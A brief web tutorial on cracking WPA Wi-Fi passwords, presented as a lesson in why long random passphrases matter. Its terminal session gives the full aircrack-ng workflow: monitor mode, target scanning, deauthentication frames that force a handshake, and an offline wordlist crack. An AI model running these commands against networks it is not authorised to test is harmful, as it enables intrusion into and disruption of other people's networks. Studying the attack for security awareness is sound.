Wi-fi cracking

Here is how a Wi-Fi network gets cracked, so you see why a strong passphrase actually matters.

Put your adapter into monitor mode. Scan the air and pick a target network.

Capture the handshake when a device connects, or force one with a deauth. Then run that capture against a wordlist, offline.

A weak password falls in minutes; a long random one holds. That is the whole attack.

# los comandos

kali@kali:~$ sudo airmon-ng start wlan0copiar

monitor mode enabled on wlan0mon

kali@kali:~$ sudo airodump-ng wlan0moncopiar

BSSID CH ESSID

AA:BB:CC:11:22:33 6 HomeNet

kali@kali:~$ sudo airodump-ng -c 6 --bssid AA:BB:CC:11:22:33 -w cap wlan0moncopiar

... waiting for WPA handshake ...

kali@kali:~$ sudo aireplay-ng --deauth 5 -a AA:BB:CC:11:22:33 wlan0moncopiar

>> WPA handshake captured

kali@kali:~$ aircrack-ng cap.cap -w rockyou.txtcopiar
